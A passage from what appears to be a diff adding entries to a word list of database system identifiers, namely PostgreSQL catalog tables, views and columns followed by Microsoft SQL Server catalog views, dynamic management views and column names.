+pg_stat_bgwriter +pg_stat_database +pg_stat_database_conflicts +pg_stat_gssapi +pg_stat_io +pg_statio_all_indexes +pg_statio_all_sequences +pg_statio_all_tables +pg_statio_sys_indexes +pg_statio_sys_sequences +pg_statio_sys_tables +pg_statio_user_indexes +pg_statio_user_sequences +pg_statio_user_tables +pg_statistic +pg_statistic_ext +pg_statistic_ext_data +pg_statistic_ext_data_stxoid_inh_index +pg_statistic_ext_name_index +pg_statistic_ext_oid_index +pg_statistic_ext_relid_index +pg_statistic_relid_att_inh_index +pg_stat_progress_analyze +pg_stat_progress_basebackup +pg_stat_progress_cluster +pg_stat_progress_copy +pg_stat_progress_create_index +pg_stat_progress_vacuum +pg_stat_recovery_prefetch +pg_stat_replication +pg_stat_replication_slots +pg_stats +pg_stats_ext +pg_stats_ext_exprs +pg_stat_slru +pg_stat_ssl +pg_stat_subscription +pg_stat_subscription_stats +pg_stat_sys_indexes +pg_stat_sys_tables +pg_stat_user_functions +pg_stat_user_indexes +pg_stat_user_tables +pg_stat_wal +pg_stat_wal_receiver +pg_stat_xact_all_tables +pg_stat_xact_sys_tables +pg_stat_xact_user_functions +pg_stat_xact_user_tables +pg_subscription +pg_subscription_oid_index +pg_subscription_rel +pg_subscription_rel_srrelid_srsubid_index +pg_subscription_subname_index +pg_tables +pg_tablespace +pg_tablespace_oid_index +pg_tablespace_spcname_index +pg_timezone_abbrevs +pg_timezone_names +pg_toast_1213 +pg_toast_1213_index +pg_toast_1247 +pg_toast_1247_index +pg_toast_1255 +pg_toast_1255_index +pg_toast_1260 +pg_toast_1260_index +pg_toast_1262 +pg_toast_1262_index +pg_toast_13494 +pg_toast_13494_index +pg_toast_13499 +pg_toast_13499_index +pg_toast_13504 +pg_toast_13504_index +pg_toast_13509 +pg_toast_13509_index +pg_toast_1417 +pg_toast_1417_index +pg_toast_1418 +pg_toast_1418_index +pg_toast_2328 +pg_toast_2328_index +pg_toast_2396 +pg_toast_2396_index +pg_toast_2600 +pg_toast_2600_index +pg_toast_2604 +pg_toast_2604_index +pg_toast_2606 +pg_toast_2606_index +pg_toast_2609 +pg_toast_2609_index +pg_toast_2612 +pg_toast_2612_index +pg_toast_2615 +pg_toast_2615_index +pg_toast_2618 +pg_toast_2618_index +pg_toast_2619 +pg_toast_2619_index +pg_toast_2620 +pg_toast_2620_index +pg_toast_2964 +pg_toast_2964_index +pg_toast_3079 +pg_toast_3079_index +pg_toast_3118 +pg_toast_3118_index +pg_toast_3256 +pg_toast_3256_index +pg_toast_3350 +pg_toast_3350_index +pg_toast_3381 +pg_toast_3381_index +pg_toast_3394 +pg_toast_3394_index +pg_toast_3429 +pg_toast_3429_index +pg_toast_3456 +pg_toast_3456_index +pg_toast_3466 +pg_toast_3466_index +pg_toast_3592 +pg_toast_3592_index +pg_toast_3596 +pg_toast_3596_index +pg_toast_3600 +pg_toast_3600_index +pg_toast_6000 +pg_toast_6000_index +pg_toast_6100 +pg_toast_6100_index +pg_toast_6106 +pg_toast_6106_index +pg_toast_6243 +pg_toast_6243_index +pg_toast_826 +pg_toast_826_index +pg_transform +pg_transform_oid_index +pg_transform_type_lang_index +pg_trigger +pg_trigger_oid_index +pg_trigger_tgconstraint_index +pg_trigger_tgrelid_tgname_index +pg_ts_config +pg_ts_config_cfgname_index +pg_ts_config_map +pg_ts_config_map_index +pg_ts_config_oid_index +pg_ts_dict +pg_ts_dict_dictname_index +pg_ts_dict_oid_index +pg_ts_parser +pg_ts_parser_oid_index +pg_ts_parser_prsname_index +pg_ts_template +pg_ts_template_oid_index +pg_ts_template_tmplname_index +pg_type +pg_type_oid_index +pg_type_typname_nsp_index +pg_user +pg_user_mapping +pg_user_mapping_oid_index +_pg_user_mappings +pg_user_mappings +pg_user_mapping_user_server_index +pg_username +pg_views +phase +pid +plugin +pnnspid +pnpubid +polcmd +policyname +polname +polpermissive +polqual +polrelid +polroles +polwithcheck +position_in_unique_constraint +prattrs +prefetch +prepared +prepare_time +principal +privilege_type +privtype +proacl +proallargtypes +proargdefaults +proargmodes +proargnames +proargtypes +probin +proconfig +procost +proisstrict +prokind +prolang +proleakproof +proname +pronamespace +pronargdefaults +pronargs +proowner +proparallel +proretset +prorettype +prorows +prosecdef +prosqlbody +prosrc +prosupport +protrftypes +provariadic +provider +provolatile +prpubid +prqual +prrelid +prsend +prsheadline +prslextype +prsname +prsnamespace +prsstart +prstoken +puballtables +pubdelete +pubinsert +pubname +pubowner +pubtruncate +pubupdate +pubviaroot +qual +query +query_id +query_start +reads +read_time +received_lsn +received_tli +receive_start_lsn +receive_start_tli +refclassid +ref_dtd_identifier +reference_generation +reference_type +referential_constraints +refobjid +refobjsubid +relacl +relallvisible +relam +relation +relchecks +relfilenode +relforcerowsecurity +relfrozenxid +relhasindex +relhasrules +relhassubclass +relhastriggers +relid +relispartition +relispopulated +relisshared +relkind +relminmxid +relname +relnamespace +relnatts +relocatable +reloftype +reloptions +relowner +relpages +relpartbound +relpersistence +relreplident +relrewrite +relrowsecurity +reltablespace +reltoastrelid +reltuples +reltype +remote_lsn +replay_lag +replay_lsn +reply_time +requires +reset_val +restart_lsn +result_cast_as_locator +result_cast_char_max_length +result_cast_char_octet_length +result_cast_char_set_catalog +result_cast_char_set_name +result_cast_char_set_schema +result_cast_collation_catalog +result_cast_collation_name +result_cast_collation_schema +result_cast_datetime_precision +result_cast_dtd_identifier +result_cast_from_data_type +result_cast_interval_precision +result_cast_interval_type +result_cast_maximum_cardinality +result_cast_numeric_precision +result_cast_numeric_precision_radix +result_cast_numeric_scale +result_cast_scope_catalog +result_cast_scope_name +result_cast_scope_schema +result_cast_type_udt_catalog +result_cast_type_udt_name +result_cast_type_udt_schema +result_types +reuses +rngcanonical +rngcollation +rngmultitypid +rngsubdiff +rngsubopc +rngsubtype +rngtypid +roident +rolbypassrls +rolcanlogin +rolconfig +rolconnlimit +rolcreatedb +rolcreaterole +role_column_grants +roleid +role_name +role_routine_grants +roles +role_table_grants +role_udt_grants +role_usage_grants +rolinherit +rolname +rolpassword +rolreplication +rolsuper +rolvaliduntil +roname +routine_body +routine_catalog +routine_column_usage +routine_definition +routine_name +routine_privileges +routine_routine_usage +routines +routine_schema +routine_sequence_usage +routine_table_usage +routine_type +rowfilter +rowsecurity +rulename +rule_number +safe_wal_size +sample_blks_scanned +sample_blks_total +schema +schema_level_routine +schema_name +schemaname +schema_owner +schemata +scope_catalog +scope_name +scope_schema +security_type +self_referencing_column_name +self_time +sender_host +sender_port +sent_lsn +seqcache +seqcycle +seqincrement +seqmax +seqmin +seqno +seqrelid +seq_scan +seqstart +seq_tup_read +seqtypid +sequence_catalog +sequence_name +sequencename +sequenceowner +sequences +sequence_schema +sessions +sessions_abandoned +sessions_fatal +sessions_killed +session_time +setconfig +setdatabase +set_option +setrole +setting +short_desc +size +sizing_id +sizing_name +skip_fpw +skip_init +skip_new +skip_rep +slot_name +slot_type +source +source_dtd_identifier +sourcefile +sourceline +spcacl +spcname +spcoptions +spcowner +specific_catalog +specific_name +specific_schema +spill_bytes +spill_count +spill_txns +sql_data_access +sql_features +sql_implementation_info +sql_parts +sql_path +sql_sizing +srrelid +srsubid +srsublsn +srsubstate +srvacl +srvfdw +srvid +srvname +srvoptions +srvowner +srvtype +srvversion +ssl +staattnum +stacoll1 +stacoll2 +stacoll3 +stacoll4 +stacoll5 +stadistinct +stainherit +stakind1 +stakind2 +stakind3 +stakind4 +stakind5 +stanullfrac +stanumbers1 +stanumbers2 +stanumbers3 +stanumbers4 +stanumbers5 +staop1 +staop2 +staop3 +staop4 +staop5 +starelid +start_value +state +state_change +statement +statistics_name +statistics_owner +statistics_schemaname +stats_reset +status +stavalues1 +stavalues2 +stavalues3 +stavalues4 +stavalues5 +stawidth +stream_bytes +stream_count +stream_txns +stxddependencies +stxdexpr +stxdinherit +stxdmcv +stxdndistinct +stxexprs +stxkeys +stxkind +stxname +stxnamespace +stxoid +stxowner +stxrelid +stxstattarget +subbinary +subconninfo +subdbid +subdisableonerr +subenabled +sub_feature_id +sub_feature_name +subid +subname +suborigin +subowner +subpasswordrequired +subpublications +subrunasowner +subskiplsn +subslotname +substream +subsynccommit +subtwophasestate +superuser +supported_value +sync_error_count +sync_priority +sync_state +sys_name +table_catalog +table_constraints +table_name +tablename +tableoid +tableowner +table_privileges +tables +table_schema +tablespace +tablespaces_streamed +tablespaces_total +table_type +temp_bytes +temp_files +temporary +tgargs +tgattr +tgconstraint +tgconstrindid +tgconstrrelid +tgdeferrable +tgenabled +tgfoid +tginitdeferred +tgisinternal +tgname +tgnargs +tgnewtable +tgoldtable +tgparentid +tgqual +tgrelid +tgtype +tidx_blks_hit +tidx_blks_read +tmplinit +tmpllexize +tmplname +tmplnamespace +toast_blks_hit +toast_blks_read +to_sql_specific_catalog +to_sql_specific_name +to_sql_specific_schema +total_bytes +total_nblocks +total_time +total_txns +transaction +transactionid +transforms +transform_type +trffromsql +trflang +trftosql +trftype +trigger_catalog +triggered_update_columns +trigger_name +triggers +trigger_schema +truncates +trusted +tup_deleted +tup_fetched +tup_inserted +tuple +tuples_done +tuples_excluded +tuples_processed +tuples_total +tup_returned +tup_updated +two_phase +typacl +typalign +typanalyze +typarray +typbasetype +typbyval +typcategory +typcollation +typdefault +typdefaultbin +typdelim +type +typelem +type_udt_catalog +type_udt_name +type_udt_schema +typinput +typisdefined +typispreferred +typlen +typmodin +typmodout +typname +typnamespace +typndims +typnotnull +typoutput +typowner +typreceive +typrelid +typsend +typstorage +typsubscript +typtype +typtypmod +udt_catalog +udt_name +udt_privileges +udt_schema +umid +umoptions +umserver +umuser +unique_constraint_catalog +unique_constraint_name +unique_constraint_schema +unit +update_rule +usage_privileges +usebypassrls +useconfig +usecreatedb +used_bytes +usename +user_defined_type_catalog +user_defined_type_category +user_defined_type_name +user_defined_types +user_defined_type_schema +userepl +user_mapping_options +user_mappings +user_name +usesuper +usesysid +utc_offset +vacuum_count +valuntil +vartype +version +view_catalog +view_column_usage +view_definition +view_name +viewname +viewowner +view_routine_usage +views +view_schema +view_table_usage +virtualtransaction +virtualxid +wait_event +wait_event_type +waitstart +wal_buffers_full +wal_bytes +wal_distance +wal_fpi +wal_records +wal_status +wal_sync +wal_sync_time +wal_write +wal_write_time +with_check +with_hierarchy +writebacks +writeback_time +write_lag +write_lsn +writes +write_time +written_lsn +xact_commit +xact_rollback +xact_start +xmax +xmin + +[Microsoft SQL Server] +aborted_version_cleaner_end_time +aborted_version_cleaner_start_time +abort_state +accdate +acceptable_cursor_options +access_count +access_date +access_type +acquire_time +actadd +action +action_id +action_in_log +action_name +action_package_guid +actions +actions_discovered +action_sequence +actions_scheduled +action_type +activation_procedure +active +active_backups +active_count +active_fts_index_count +active_ios_count +active_loads +active_log_size +active_log_size_mb +active_memgrant_count +active_memgrant_kb +active_parallel_thread_count +active_processes_count +active_request_count +active_requests +active_restores +active_scan_time_in_ms +active_tasks_count +active_vlf_count +active_worker_address +active_worker_count +active_workers_count +actmod +actual_read_row_count +actual_state +actual_state_additional_info +actual_state_desc +additional_information +additional_parameters +additional_props +addr +address +adjacent_broker_address +affected_rows +affinity +affinity_count +affinity_type +affinity_type_desc +after_begin +after_end +after_links +after_time +ag_db_id +ag_db_name +age +age_contents +age_content_version +age_issue_time +agent_exe +age_row_number +aggregated_record_length_in_bytes +ag_group_id +ag_id +ag_name +ag_remote_replica_id +ag_resource_id +alert_id +alert_instance_id +alert_name +algorithm +algorithm_desc +algorithm_id +algorithm_tag +alias +all_columns +all_objects +allocated_bytes +allocated_extent_page_count +allocated_memory +allocated_page_file_id +allocated_page_iam_file_id +allocated_page_iam_page_id +allocated_page_page_id +allocation_count +allocations_kb +allocations_kb_per_sec +allocation_unit_id +allocation_units +allocation_unit_type +allocation_unit_type_desc +allocator_stack_address +allocpolicy +alloc_unit_id +AllocUnitId +AllocUnitName +alloc_unit_type_desc +allow_enclave_computations +allow_encrypted_value_modifications +allownulls +allow_page_locks +allow_row_locks +allows_mixed_content +allows_nullable_keys +all_parameters +all_sql_modules +all_views +altuid +ansi_defaults +ansi_null_dflt_on +ansi_nulls +ansi_padding +ansi_position +ansi_warnings +appdomain_address +appdomain_id +appdomain_name +application_name +ApplicationName +app_name +arithabort +artcache_article_address +artcache_db_address +artcache_schema_address +artcache_table_address +artcmdtype +artfilter +artgendel2cmd +artgendelcmd +artgenins2cmd +artgeninscmd +artgenupdcmd +artid +artobjid +artpartialupdcmd +artpubid +artstatus +arttype +artupdtxtcmd +AS_LOCATOR +asn +assemblies +assembly_class +assembly_files +assembly_id +assembly_method +assembly_modules +assembly_qualified_name +assembly_qualified_type_name +assembly_references +assembly_types +associated_object_id +asymmetric_key_export +asymmetric_key_id +asymmetric_key_import +asymmetric_key_persistance +asymmetric_keys +asymmetric_key_support +attested_by +attribute +audit_action_id +audit_action_name +audited_principal_id +audited_result +audit_file_offset +audit_file_path +audit_file_size +audit_guid +audit_id +audit_schema_version +audit_spec_id +auid +authenticating_database_id +authentication_method +authentication_type +authentication_type_desc +authority_name +authorization_realm +authorized_spatial_reference_id +authrealm +auth_scheme +authtype +auto_created +auto_drop +automated_backup_preference +automated_backup_preference_desc +auto_population_count +autoval +availability_databases_cluster +availability_group_listener_ip_addresses +availability_group_listeners +availability_groups +availability_groups_cluster +availability_mode +availability_mode_desc +availability_read_only_routing_lists +availability_replicas +available_bytes +available_commit_limit_kb +available_memory +available_memory_kb +available_page_file_kb +available_physical_memory_kb +average_range_rows +average_rows +average_time_between_uses +average_version_chain_traversed +avg_bind_cpu_time +avg_bind_duration +avg_chain_length +avg_clr_time +avg_compile_duration +avg_compile_memory_kb +avg_cpu_percent +avg_cpu_time +avg_dop +avg_duration +avgexectime +avg_fragmentation_in_percent +avg_fragment_size_in_pages +avg_load_balance +avg_log_bytes_used +avg_logical_io_reads +avg_logical_io_writes +avg_num_physical_io_reads +avg_optimize_cpu_time +avg_optimize_duration +avg_page_server_io_reads +avg_page_space_used_in_percent +avg_physical_io_reads +avg_query_max_used_memory +avg_query_wait_time_ms +avg_record_size_in_bytes +avg_rowcount +avg_rows +avg_system_impact +avg_tempdb_space_used +avg_time +avg_total_system_cost +avg_total_user_cost +avg_user_impact +avg_wait_time +awe_allocated_kb +backoffs +backup_devices +backup_finish_date +backup_lsn +backuplsn +backup_metadata_store +backup_metadata_uuid +backup_path +backup_priority +backup_size +backup_start_date +backup_storage_consumption_mb +backup_storage_redundancy +backup_type +base_address +base_generation +base_id +base_object_name +base_schema_ver +base_xml_component_id +basic_features +batch_count +batch_id +batchsize +batch_sql_handle +batchtext +batch_timestamp +before_begin +before_end +before_links +before_time +begin_checkpoint_id +begin_lsn +begin_time +begin_tsn +begin_update_lsn +begin_version +begin_xact_lsn +bigint +BigintData1 +BigintData2 +binary +BinaryData +binarydefinition +binary_message_body +bit +bitlength +bitpos +blob_container_id +blob_container_type +blob_container_url +blob_id +blocked +blocked_event_fire_time +blocked_task_count +block_id +blocking_exec_context_id +blocking_session_id +blocking_task_address +blocks_from_disk +blocks_from_LC +blocks_from_LogPool +block_size +bloom_filter_data_ptr +bloom_filter_md +body_size +boost_count +bootstrap_recovery_lsn +bootstrap_root_file_guid +boot_time_secs +boundary_id +boundary_value_on_right +bounding_box_xmax +bounding_box_xmin +bounding_box_ymax +bounding_box_ymin +brick_config_state +brick_guid +brick_id +brickid +brick_state +brkrinst +broker_address +broker_instance +bsn +bstat +bucket_count +bucketid +bucket_no +buckets +buckets_avg_length +buckets_avg_scan_hit_length +buckets_avg_scan_miss_length +buckets_count +buckets_in_use_count +buckets_max_length +buckets_max_length_ever +buckets_min_length +buffer_count +buffer_full_count +buffer_policy_desc +buffer_policy_flags +buffer_processed_count +buffers_available +buffer_size +built_substitute +bulkadmin +bXVTDocidUseBaseT +bytes_of_large_data_serialized +BytesOnDisk +bytes_per_sec +bytes_processed +BytesRead +bytes_serialized +bytes_to_end_of_log +bytes_used +bytes_written +BytesWritten +C1_count +C1_time +C2_count +C2_time +C3_count +C3_time +cache +cache_address +cache_available +cache_buffer +cache_capacity +cached_time +cache_hit +cache_memory_kb +cache_misses +cacheobjtype +cache_size +cache_used +can_commit +capabilities +capabilities_desc +cap_cpu_percent +cap_percentage_resource +capture_policy_execution_count +capture_policy_stale_threshold_hours +capture_policy_total_compile_cpu_time_ms +capture_policy_total_execution_cpu_time_ms +catalog +catalog_collation_type +catalog_collation_type_desc +catalog_id +CATALOG_NAME +category +category_id +ccTabname +ccTabschema +cdefault +cells_per_object +cert +certificate_id +certificates +cert_serial_number +changedate +change_tracking_databases +change_tracking_state +change_tracking_state_desc +change_tracking_tables +char +CHARACTER_MAXIMUM_LENGTH +CHARACTER_OCTET_LENGTH +CHARACTER_SET_CATALOG +CHARACTER_SET_NAME +CHARACTER_SET_SCHEMA +CHECK_CLAUSE +check_constraints +CHECK_CONSTRAINTS +CHECK_OPTION +checkpoint_file_id +checkpoint_id +checkpoint_lsn +checkpoint_pair_file_id +checkpoints_closed +checkpoint_timestamp +checksum +chk +cid +class +class_desc +class_id +classifier_function_id +classifier_id +classifier_name +classifier_type +classifier_value +class_type +class_type_desc +clause_number +cleanup_version +clear_port +clerk_name +client_app_name +client_correlation_id +client_id +client_interface_name +client_ip +client_net_address +client_process_id +ClientProcessID +client_tcp_port +client_thread_id +client_tls_version +client_version +clock_frequency +clock_hand +clock_status +cloneid +clone_state +clone_state_desc +closed_age +closed_checkpoint_epoch_value +closed_time +close_time +closing_checkpoint_id +clr_name +clustering_quality +cluster_name +cluster_nodename +cluster_owner_node +cluster_type +cluster_type_desc +cmd +cmdexec_success_code +cmds_in_tran +cmdTypeDel +cmdTypeIns +cmdTypePartialUpd +cmdTypeUpd +cmprlevel +cmptlevel +cntrltype +cntr_type +cntr_value +cold_count +colguid +colid +collation +COLLATION_CATALOG +collationcompatible +collation_id +collationid +collation_name +COLLATION_NAME +COLLATION_SCHEMA +collection_start_time +collisions +colName +colorder +colstat +column_characteristics_flags +column_count +COLUMN_DEFAULT +COLUMN_DOMAIN_USAGE +column_encryption_key_database_name +column_encryption_key_id +column_encryption_keys +column_encryption_key_values +column_id +columnid +column_master_key_id +column_master_keys +column_name +COLUMN_NAME +column_ordinal +ColumnPermissions +column_precision +COLUMN_PRIVILEGES +columns +COLUMNS +column_scale +column_size +columnstore_delete_buffer_state +columnstore_delete_buffer_state_desc +column_store_dictionaries +column_store_order_ordinal +column_store_row_groups +column_store_segments +column_type +column_type_usages +column_usage +column_value +column_value_pull_in_row_count +column_value_push_off_row_count +column_xml_schema_collection_usages +command +Command +command2 +command_count +command_desc +comment +commit_csn +commit_dependency_count +commit_dependency_total_attempt_count +commit_lbn +commit_lsn +commit_LSN +commit_sequence_num +committed_kb +committed_target_kb +commit_time +commit_timestamp +commit_ts +company +comparison_operator +compatibility_level +compensated_trans +comp_exec_ctxt_address +compid +compile_count +compile_memory_kb +completed_count +completed_ios_count +completed_ios_in_bytes +completed_range_count +completed_trans +completion_time +completion_type +completion_type_description +component +component_id +component_instance_id +component_name +compositor +compositor_desc +comp_range_address +compressed +compressed_backup_size +compressed_page_count +compressed_reason +compression_algorithm +compression_delay +computed_columns +compute_node_id +compute_pool_id +compute_units +concat_null_yields_null +concurrency +concurrency_slots_used +condition +condition_value +config +configuration_id +configuration_level +configurations +connected_state +connected_state_desc +connection_auth +connection_auth_desc +connection_id +connection_options +connections +connect_time +connect_timeout +connecttimeout +constid +CONSTRAINT_CATALOG +constraint_column_id +CONSTRAINT_COLUMN_USAGE +CONSTRAINT_NAME +constraint_object_id +CONSTRAINT_SCHEMA +CONSTRAINT_TABLE_USAGE +CONSTRAINT_TYPE +consumed_block_count +consumer_id +consumer_name +contained_availability_group_id +container_guid +container_id +container_path +container_type +container_type_desc +containing_group_name +containment +containment_desc +content +contention_factor +Context +context_info +context_settings_id +context_switch_count +context_switches_count +contract +conversation_endpoints +conversation_group_id +conversation_groups +conversation_handle +conversation_id +conversation_priorities +convgroup +cores_per_socket +correlation_process_id +correlation_thread_id +cost +count +count_compiles +counter +counter_category +counter_name +counter_value +count_executions +count_of_allocations +covering_action_name +covering_parent_action_name +covering_permission_name +cprelid +cpu +CPU +cpu_affinity_group +cpu_affinity_mask +cpu_busy +cpu_count +cpu_id +cpu_mask +cpu_rate +cpu_ticks +cpu_time +cpu_time_ms +cpu_usage +crawl_end_date +crawl_memory_address +crawl_start_date +crawl_type +crawl_type_desc +crdate +created +CREATED +create_date +createdate +created_by +create_disposition +created_time +create_lsn +createlsn +create_time +creation_client_process_id +creation_client_thread_id +creation_irp_id +creation_options +creation_request_id +creation_stack_address +creation_time +creator_sid +credential_id +credential_identity +credentials +crend +crerrors +crrows +crschver +crstart +crtsnext +crtype +crypto +cryptographic_provider_algid +cryptographic_provider_guid +cryptographic_providers +crypt_properties +crypt_property +crypt_type +crypt_type_desc +csid +csn +csw_cnt +ctext +current_aborted_transaction_count +current_cache_buffer +current_checkpoint_id +current_checkpoint_segment_count +current_column_encryption_key_count +current_configuration_commit_start_time_utc +current_cost +current_enclave_session_count +current_item_duration +current_lsn +current_memory_size_kb +current_principal +current_queue_depth +current_read_version +current_size_in_kb +current_spid +current_state +current_storage_size_mb +current_tasks_count +current_utc_offset +current_value +current_vlf_sequence_number +current_vlf_size_mb +current_workers_count +current_workitem_type +current_workitem_type_desc +cursor_handl +cursor_handle +cursor_id +cursor_name +cursor_rows +cursor_scope +cycle_id +CYCLE_OPTION +cycles_used +data +dataaccess +database +database_address +database_audit_specification_details +database_audit_specifications +database_automatic_tuning_mode +database_automatic_tuning_options +database_backup_lsn +database_credentials +database_directory_name +database_files +database_filestream_options +database_guid +database_id +DatabaseID +database_ledger_blocks +database_ledger_transactions +database_mirroring +database_mirroring_endpoints +database_mirroring_witnesses +database_name +DatabaseName +database_permissions +database_principal_id +database_principal_name +database_principals +database_query_store_options +database_recovery_status +database_role_members +databases +database_scoped_configurations +database_scoped_credentials +database_size_bytes +database_specification_id +database_state +database_state_desc +database_transaction_begin_lsn +database_transaction_begin_time +database_transaction_commit_lsn +database_transaction_last_lsn +database_transaction_last_rollback_lsn +database_transaction_log_bytes_reserved +database_transaction_log_bytes_reserved_system +database_transaction_log_bytes_used +database_transaction_log_bytes_used_system +database_transaction_log_record_count +database_transaction_most_recent_savepoint_lsn +database_transaction_next_undo_lsn +database_transaction_replicate_record_count +database_transaction_state +database_transaction_status +database_transaction_status2 +database_transaction_type +database_type +database_user_name +database_version +data_clone_id +data_compression +data_compression_desc +dataloss +data_pages +data_pool_id +data_pool_node_name +data_processed_mb +data_ptr +data_retention_period +data_retention_period_unit +data_retention_period_unit_desc +data_sensitivity_information +data_size +datasize +data_source +datasource +data_source_id +dataspace +data_space_id +data_spaces +DATA_TYPE +data_type_sql +date +date_created +date_first +datefirst +date_format +dateformat +date_modified +datetime +datetime2 +datetimeoffset +DATETIME_PRECISION +days +dbcreator +db_failover +dbfragid +db_id +dbid +DbId +dbidexec +db_ledger_blocks +db_ledger_transactions +db_len_in_bytes +db_name +dbname +DBUserName +db_ver +ddl_step +deadlock_monitor_serial_number +deadlock_priority +debug +decimal +DECLARED_DATA_TYPE +DECLARED_NUMERIC_PRECISION +DECLARED_NUMERIC_SCALE +DEFAULT_CHARACTER_SET_CATALOG +DEFAULT_CHARACTER_SET_NAME +DEFAULT_CHARACTER_SET_SCHEMA +default_constraints +default_database +default_database_name +default_fulltext_language_lcid +default_fulltext_language_name +default_language_lcid +default_language_name +default_logon_domain +default_memory_clerk_address +default_namespace +default_object_id +default_result_schema +default_result_schema_desc +default_schema_id +default_schema_name +default_value +definition +deflanguage +defval +degree_of_parallelism +delayed_durability +delayed_durability_desc +delete_access +delete_buffer_scan_count +deleted_rows +delete_level +delete_lsn +delete_referential_action +delete_referential_action_desc +DELETE_RULE +delta_pages +delta_quality +delta_store_hobt_id +deltrig +denylogin +depclass +depdbid +dependencies_failed +dependencies_taken +dependency +dependent_1_address +dependent_2_address +dependent_3_address +dependent_4_address +dependent_5_address +dependent_6_address +dependent_7_address +dependent_8_address +depid +depnumber +depsiteid +depsubid +deptype +deriv +derivation +derivation_desc +description +Description +description_id +desired_state +desired_state_desc +destination_createparams +destination_data_spaces +destination_dbms +destination_distribution_id +destination_id +destination_info +destination_length +destination_nullable +destination_precision +destination_scale +destination_type +destination_version +details +device_logical_id +device_memory_bytes +device_physical_id +device_provider +device_ready +device_to_host_bytes +device_type +dev_name +dflt +dfltdb +dfltdm +dfltns +dfltsch +diag_address +diagid +diag_status +dialog_timer +dictionary_id +diffbaseguid +diffbaselsn +diffbaseseclsn +diffbasetime +differential_base_guid +differential_base_lsn +differential_base_time +diff_map_page_id +diff_status +diff_status_desc +directory_name +disallow_namespaces +discriminator +diskadmin +disk_ios_count +disk_read_consumer_id +dispatcher_count +dispatcher_ideal_count +dispatcher_pool_address +dispatcher_timeout_ms +dispatcher_waiting_count +display_term +dist +dist_client_id +distinct_range_rows +dist_request_id +distributed_statement_id +distribution_desc +distribution_id +distribution_ordinal +distribution_policy +distribution_policy_desc +distribution_type +dist_statement_hash +dist_statement_id +dlevel +dlgerr +dlgid +dlgopened +dlgtimer +dll_name +dll_path +dm_audit_actions +dm_audit_class_type_map +dm_broker_activated_tasks +dm_broker_connections +dm_broker_forwarded_messages +dm_broker_queue_monitors +dm_cache_hit_stats +dm_cache_size +dm_cache_stats +dm_cdc_errors +dm_cdc_log_scan_sessions +dm_clr_appdomains +dm_clr_loaded_assemblies +dm_clr_properties +dm_clr_tasks +dm_cluster_endpoints +dm_column_encryption_enclave +dm_column_encryption_enclave_operation_stats +dm_column_store_object_pool +dm_cryptographic_provider_algorithms +dm_cryptographic_provider_keys +dm_cryptographic_provider_properties +dm_cryptographic_provider_sessions +dm_database_encryption_keys +dm_db_column_store_row_group_operational_stats +dm_db_column_store_row_group_physical_stats +dm_db_database_page_allocations +dm_db_data_pool_nodes +dm_db_data_pools +dm_db_external_language_stats +dm_db_external_script_execution_stats +dm_db_file_space_usage +dm_db_fts_index_physical_stats +dm_db_incremental_stats_properties +dm_db_index_operational_stats +dm_db_index_physical_stats +dm_db_index_usage_stats +dm_db_log_info +dm_db_log_space_usage +dm_db_log_stats +dm_db_mirroring_auto_page_repair +dm_db_mirroring_connections +dm_db_mirroring_past_actions +dm_db_missing_index_columns +dm_db_missing_index_details +dm_db_missing_index_groups +dm_db_missing_index_group_stats +dm_db_missing_index_group_stats_query +dm_db_objects_disabled_on_compatibility_level_change +dm_db_page_info +dm_db_partition_stats +dm_db_persisted_sku_features +dm_db_rda_migration_status +dm_db_rda_schema_update_status +dm_db_script_level +dm_db_session_space_usage +dm_db_stats_histogram +dm_db_stats_properties +dm_db_stats_properties_internal +dm_db_storage_pool_nodes +dm_db_storage_pools +dm_db_task_space_usage +dm_db_tuning_recommendations +dm_db_uncontained_entities +dm_db_xtp_checkpoint_files +dm_db_xtp_checkpoint_internals +dm_db_xtp_checkpoint_stats +dm_db_xtp_gc_cycle_stats +dm_db_xtp_hash_index_stats +dm_db_xtp_index_stats +dm_db_xtp_memory_consumers +dm_db_xtp_nonclustered_index_stats +dm_db_xtp_object_stats +dm_db_xtp_table_memory_stats +dm_db_xtp_transactions +dm_dist_requests +dm_distributed_exchange_stats +dm_dw_databases +dm_dw_locks +dm_dw_pit_databases +dm_dw_quality_clustering +dm_dw_quality_delta +dm_dw_quality_index +dm_dw_quality_row_group +dm_dw_resource_manager_abort_cache +dm_dw_resource_manager_active_tran +dm_dw_tran_manager_abort_cache +dm_dw_tran_manager_active_cache +dm_dw_tran_manager_commit_cache +dm_exec_background_job_queue +dm_exec_background_job_queue_stats +dm_exec_cached_plan_dependent_objects +dm_exec_cached_plans +dm_exec_compute_node_errors +dm_exec_compute_nodes +dm_exec_compute_node_status +dm_exec_compute_pools +dm_exec_connections +dm_exec_cursors +dm_exec_describe_first_result_set +dm_exec_describe_first_result_set_for_object +dm_exec_distributed_requests +dm_exec_distributed_request_steps +dm_exec_distributed_sql_requests +dm_exec_dms_services +dm_exec_dms_workers +dm_exec_external_operations +dm_exec_external_work +dm_exec_function_stats +dm_exec_input_buffer +dm_exec_plan_attributes +dm_exec_procedure_stats +dm_exec_query_memory_grants +dm_exec_query_optimizer_info +dm_exec_query_optimizer_memory_gateways +dm_exec_query_parallel_workers +dm_exec_query_plan +dm_exec_query_plan_stats +dm_exec_query_profiles +dm_exec_query_resource_semaphores +dm_exec_query_statistics_xml +dm_exec_query_stats +dm_exec_query_transformation_stats +dm_exec_requests +dm_exec_requests_history +dm_exec_sessions +dm_exec_session_wait_stats +dm_exec_sql_text +dm_exec_text_query_plan +dm_exec_trigger_stats +dm_exec_valid_use_hints +dm_exec_xml_handles +dm_external_authentication +dm_external_data_processed +dm_external_script_execution_stats +dm_external_script_requests +dm_external_script_resource_usage_stats +dm_filestream_file_io_handles +dm_filestream_file_io_requests +dm_filestream_non_transacted_handles +dm_fts_active_catalogs +dm_fts_fdhosts +dm_fts_index_keywords +dm_fts_index_keywords_by_document +dm_fts_index_keywords_by_property +dm_fts_index_keywords_position_by_document +dm_fts_index_population +dm_fts_memory_buffers +dm_fts_memory_pools +dm_fts_outstanding_batches +dm_fts_parser +dm_fts_population_ranges +dm_fts_semantic_similarity_population +dm_hadr_ag_threads +dm_hadr_automatic_seeding +dm_hadr_auto_page_repair +dm_hadr_availability_group_states +dm_hadr_availability_replica_cluster_nodes +dm_hadr_availability_replica_cluster_states +dm_hadr_availability_replica_states +dm_hadr_cached_database_replica_states +dm_hadr_cached_replica_states +dm_hadr_cluster +dm_hadr_cluster_members +dm_hadr_cluster_networks +dm_hadr_database_replica_cluster_states +dm_hadr_database_replica_states +dm_hadr_db_threads +dm_hadr_instance_node_map +dm_hadr_name_id_map 